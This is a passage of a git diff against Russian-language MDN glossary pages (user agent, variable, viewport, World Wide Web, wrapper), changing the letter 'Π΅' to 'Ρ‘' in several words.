-<p>TTI получаСтся ΠΏΡƒΡ‚Π΅ΠΌ использования ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· {{domxref("Long Tasks API")}}. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ TTI доступСн Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… инструмСнтах ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎΠ½ Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ Π²Π΅Π±-спСцификации.</p>
+<p>TTI получаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ использования ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· {{domxref("Long Tasks API")}}. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ TTI доступСн Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… инструмСнтах ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎΠ½ Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ Π²Π΅Π±-спСцификации.</p>
<h2 id="Π‘ΠΌ.Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ.Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/glossary/user_agent/index.html b/files/ru/glossary/user_agent/index.html
index 00cf160b1b..4e67bb4ef4 100644
--- a/files/ru/glossary/user_agent/index.html
+++ b/files/ru/glossary/user_agent/index.html
@@ -6,7 +6,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/User_agent
---
<p><span class="seoSummary"><strong>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚</strong>Β (<em>user agent</em>, UA), ΠΈΠ»ΠΈ <strong>Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</strong>, это ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Π°Ρ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰Π°Ρ дСйствия ΠΎΡ‚ Π΅Π³ΠΎ Π»ΠΈΡ†Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β {{Glossary("Browser","Π±Ρ€Π°ΡƒΠ·Π΅Ρ€")}} Π² контСкстС {{Glossary("World Wide Web", "ВсСмирной ΠΏΠ°ΡƒΡ‚ΠΈΠ½Ρ‹")}}.</span></p>
-<p>АгСнтом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½ΠΎ ΠΈ Π±ΠΎΡ‚, ΡƒΠ΄Π°Π»ΡΡŽΡ‰ΠΈΠΉ Π²Π΅Π±-страницы, ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ Π·Π°ΠΊΠ°Ρ‡Π΅ΠΊ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅Π΅ Π’Π΅Π±. Выполняя запросы ΠΊ сСрвСру, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡ… ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΡΠ½Π°Π±ΠΆΠ°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ запрос Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ строкой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° (UA-строкой), Π·Π°Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΉ Π²Β {{Glossary("HTTP")}}-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>User-Agent</code>.Β Π­Ρ‚ΠΎ строка ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, сообщаСт Π½ΠΎΠΌΠ΅Ρ€ Π΅Π³ΠΎ вСрсии ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмС.</p>
+<p>АгСнтом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½ΠΎ ΠΈ Π±ΠΎΡ‚, ΡƒΠ΄Π°Π»ΡΡŽΡ‰ΠΈΠΉ Π²Π΅Π±-страницы, ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ Π·Π°ΠΊΠ°Ρ‡Π΅ΠΊ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅Π΅ Π’Π΅Π±. Выполняя запросы ΠΊ сСрвСру, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡ… ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΡΠ½Π°Π±ΠΆΠ°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ запрос Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ строкой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° (UA-строкой), Π·Π°Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΉ Π²Β {{Glossary("HTTP")}}-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>User-Agent</code>.Β Π­Ρ‚ΠΎ строка ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, сообщаСт Π½ΠΎΠΌΠ΅Ρ€ Π΅Π³ΠΎ вСрсии ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмС.</p>
<p>Π‘ΠΏΠ°ΠΌ-Π±ΠΎΡ‚Ρ‹, ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρ‹ Π·Π°ΠΊΠ°Ρ‡Π΅ΠΊ ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅Ρ€Π΅Π΄ΠΊΠΎ ΡˆΠ»ΡŽΡ‚ ΠΏΠΎΠ΄Π»ΠΎΠΆΠ½Ρ‹Π΅ UA-строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π΄Π°Ρ‚ΡŒ сСбя Π·Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹. Π­Ρ‚Π° ситуация извСстна ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <em>ΠΏΠΎΠ΄ΠΌΠ΅Π½Π° ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ°Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π°</em>Β (<em>user agent spoofing</em>).</p>
diff --git a/files/ru/glossary/variable/index.html b/files/ru/glossary/variable/index.html
index 19580eac37..99addb1254 100644
--- a/files/ru/glossary/variable/index.html
+++ b/files/ru/glossary/variable/index.html
@@ -6,7 +6,7 @@ tags:
translation_of: Glossary/Variable
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Variable
---
-<p><span class="_Tgc"><strong>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ</strong> β€” имСнованная Ρ‡Π°ΡΡ‚ΡŒ памяти, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Ρ€Π°Π·Π½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. ΠŸΡ€ΠΈΡ‡Π΅ΠΌ Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ пСрСмСнная ΠΈΠΌΠ΅Π΅Ρ‚ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. </span></p>
+<p><span class="_Tgc"><strong>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ</strong> β€” имСнованная Ρ‡Π°ΡΡ‚ΡŒ памяти, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Ρ€Π°Π·Π½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. ΠŸΡ€ΠΈΡ‡Ρ‘ΠΌ Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ пСрСмСнная ΠΈΠΌΠ΅Π΅Ρ‚ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. </span></p>
<h2 id="ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅:</h2>
diff --git a/files/ru/glossary/viewport/index.html b/files/ru/glossary/viewport/index.html
index a50f2c2763..6327018d89 100644
--- a/files/ru/glossary/viewport/index.html
+++ b/files/ru/glossary/viewport/index.html
@@ -6,7 +6,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Viewport
---
<p>Viewport - это видимая ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π²Π΅Π±-страницы,Β Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, Π½Π΅ прибСгая ΠΊ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ΅.</p>
-<p>Окно просмотра прСдставляСт собой ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΡƒΡŽ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΡƒΡŽ) ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π² ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅, которая Π² настоящСС врСмя просматриваСтся. Π’ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° это относится ΠΊ Ρ‚ΠΎΠΉ части просматриваСмого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, которая Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ отобраТаСтся Π² Π΅Π΅ ΠΎΠΊΠ½Π΅ (ΠΈΠ»ΠΈ Π½Π° экранС, Ссли Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ просматриваСтся Π² полноэкранном Ρ€Π΅ΠΆΠΈΠΌΠ΅).<br>
+<p>Окно просмотра прСдставляСт собой ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΡƒΡŽ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΡƒΡŽ) ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π² ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅, которая Π² настоящСС врСмя просматриваСтся. Π’ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° это относится ΠΊ Ρ‚ΠΎΠΉ части просматриваСмого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, которая Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ отобраТаСтся Π² Π΅Ρ‘ ΠΎΠΊΠ½Π΅ (ΠΈΠ»ΠΈ Π½Π° экранС, Ссли Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ просматриваСтся Π² полноэкранном Ρ€Π΅ΠΆΠΈΠΌΠ΅).<br>
Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π²Π½Π΅ ΠΎΠΊΠ½Π° просмотра Π½Π΅ отобраТаСтся Π½Π° экранС Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ просмотрСно.</p>
diff --git a/files/ru/glossary/world_wide_web/index.html b/files/ru/glossary/world_wide_web/index.html
index 1b4912fe04..52b094a1d6 100644
--- a/files/ru/glossary/world_wide_web/index.html
+++ b/files/ru/glossary/world_wide_web/index.html
@@ -8,16 +8,16 @@ tags:
translation_of: Glossary/World_Wide_Web
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/World_Wide_Web
---
-<p><span class="seoSummary">ВсСмирная ΡΠ΅Ρ‚ΡŒ β€” сокращСнно:Β <strong>WWW</strong>, <strong>W3</strong>, ΠΈΠ»ΠΈ<strong>Β Web; Π‘Π΅Ρ‚ΡŒ</strong>,Β <strong>ΠΏΠ°ΡƒΡ‚ΠΈΠ½Π°</strong> ΠΈΠ»ΠΈ <strong>Π²Π΅Π±Β </strong>β€” всСмирная систСма ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²Π΅Π±-страниц в сСти {{Glossary("Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚")}}.</span> Π‘Π΅Ρ‚ΡŒ Π½Π΅ являСтся Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ: Π‘Π΅Ρ‚ΡŒ лишь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΊΠ°ΠΊ срСду ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p><span class="seoSummary">ВсСмирная ΡΠ΅Ρ‚ΡŒ β€” сокращённо:Β <strong>WWW</strong>, <strong>W3</strong>, ΠΈΠ»ΠΈ<strong>Β Web; Π‘Π΅Ρ‚ΡŒ</strong>,Β <strong>ΠΏΠ°ΡƒΡ‚ΠΈΠ½Π°</strong> ΠΈΠ»ΠΈ <strong>Π²Π΅Π±Β </strong>β€” всСмирная систСма ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²Π΅Π±-страниц в сСти {{Glossary("Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚")}}.</span> Π‘Π΅Ρ‚ΡŒ Π½Π΅ являСтся Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ: Π‘Π΅Ρ‚ΡŒ лишь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΊΠ°ΠΊ срСду ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π΄Π°Π½Π½Ρ‹Ρ….</p>
-<p>Π’ΠΈΠΌ Π‘Π΅Ρ€Π½Π΅Ρ€Π·-Π›ΠΈΒ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΠ» Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρƒ, которая стала извСстна ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ World Wide Web. Π’ 1990 Π³ΠΎΠ΄Ρƒ в ЦЕРН (Π² своСй Π»Π°Π±ΠΎΡ€Π°Ρ‚ΠΎΡ€ΠΈΠΈ Ρ„ΠΈΠ·. исслСдований) ΠΎΠ½ создал ΠΏΠ΅Ρ€Π²Ρ‹ΠΉΒ Π²Π΅Π±-{{Glossary("Server","сСрвСр")}},Β  {{Glossary("Browser","Π±Ρ€Π°ΡƒΠ·Π΅Ρ€")}} ΠΈ Π²Π΅Π±-страницу Π½Π° своСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ 1991 Π³ΠΎΠ΄Ρƒ ΠΎΠ½ объявил ΠΏΡ€ΠΎ своС Ρ‚Π²ΠΎΡ€Π΅Π½ΠΈΠ΅ Π² Π³Ρ€ΡƒΠΏΠΏΠ΅ новостСй alt.hypertext, Ρ‚Π΅ΠΌ самым, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΠ² ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Web стал достояниСм общСства.</p>
+<p>Π’ΠΈΠΌ Π‘Π΅Ρ€Π½Π΅Ρ€Π·-Π›ΠΈΒ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΠ» Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρƒ, которая стала извСстна ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ World Wide Web. Π’ 1990 Π³ΠΎΠ΄Ρƒ в ЦЕРН (Π² своСй Π»Π°Π±ΠΎΡ€Π°Ρ‚ΠΎΡ€ΠΈΠΈ Ρ„ΠΈΠ·. исслСдований) ΠΎΠ½ создал ΠΏΠ΅Ρ€Π²Ρ‹ΠΉΒ Π²Π΅Π±-{{Glossary("Server","сСрвСр")}},Β  {{Glossary("Browser","Π±Ρ€Π°ΡƒΠ·Π΅Ρ€")}} ΠΈ Π²Π΅Π±-страницу Π½Π° своём ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ 1991 Π³ΠΎΠ΄Ρƒ ΠΎΠ½ объявил ΠΏΡ€ΠΎ своё Ρ‚Π²ΠΎΡ€Π΅Π½ΠΈΠ΅ Π² Π³Ρ€ΡƒΠΏΠΏΠ΅ новостСй alt.hypertext, Ρ‚Π΅ΠΌ самым, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΠ² ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Web стал достояниСм общСства.</p>
<p>БистСма, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ Web состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²:</p>
<ul>
<li>ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Β <strong>{{Glossary("HTTP")}}</strong>Β  обСспСчиваСт ΠΎΠ±ΠΌΠ΅Π½ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ сСрвСром ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ.</li>
- <li>ΠžΡ‚ΡΡ‹Π»Π°Ρ запрос сСрвСру Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ рСсурс, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ прСдоставляСт Π½Π΅ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌΡ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ зовСтся <strong>{{Glossary("URL")}}</strong> (ΡƒΠ½ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ располоТСниС рСсурсов) ΠΈΠ»ΠΈ {{Glossary("URI")}} (ΡƒΠ½ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ рСсурса).</li>
- <li><strong>{{Glossary("HTML")}}</strong> (язык гипСртСкстовой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ) - самый распространСнный Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</li>
+ <li>ΠžΡ‚ΡΡ‹Π»Π°Ρ запрос сСрвСру Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ рСсурс, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ прСдоставляСт Π½Π΅ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌΡ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ зовётся <strong>{{Glossary("URL")}}</strong> (ΡƒΠ½ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ располоТСниС рСсурсов) ΠΈΠ»ΠΈ {{Glossary("URI")}} (ΡƒΠ½ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ рСсурса).</li>
+ <li><strong>{{Glossary("HTML")}}</strong> (язык гипСртСкстовой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ) - самый распространённый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</li>
</ul>
<p>Бвязь страниц с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{Glossary("Hyperlink","гипСрссылок")}} являСтся Π³Π»Π°Π²Π½ΠΎΠΉ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠ΅ΠΉ Web.</p>
diff --git a/files/ru/glossary/wrapper/index.html b/files/ru/glossary/wrapper/index.html
index e37a9a6bd7..6a1a1ed8a6 100644
--- a/files/ru/glossary/wrapper/index.html
+++ b/files/ru/glossary/wrapper/index.html
@@ -1,5 +1,5 @@
---
-title: ΠžΠ±Π΅Ρ€Ρ‚ΠΊΠ°
+title: ΠžΠ±Ρ‘Ρ€Ρ‚ΠΊΠ°
slug: Glossary/Wrapper
tags:
- CodingScripting
@@ -8,7 +8,7 @@ tags:
translation_of: Glossary/Wrapper
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Wrapper
---
-<p><span class="short_text" id="result_box" lang="ru"><span>Π’ языках</span> <span>программирования, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ</span> <span>JavaScript</span></span> , <span id="result_box" lang="ru"><span>ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ°</span> <span>являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, которая</span> <span>ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π°</span> <span>для Π²Ρ‹Π·ΠΎΠ²Π°</span> <span>ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅</span> <span>Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</span></span> , <span class="short_text" id="result_box" lang="ru"><span>ΠΈΠ½ΠΎΠ³Π΄Π°</span> <span>ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для удобства</span></span> , <span id="result_box" lang="ru"><span>Π° ΠΈΠ½ΠΎΠ³Π΄Π°</span> <span>адаптируя ΠΈΡ…</span> <span class="alt-edited">Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ</span> <span class="alt-edited">Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΠΉΡΡ</span> <span>Π·Π°Π΄Π°Ρ‡Ρƒ</span> <span>Π² процСссС</span></span>.</p>
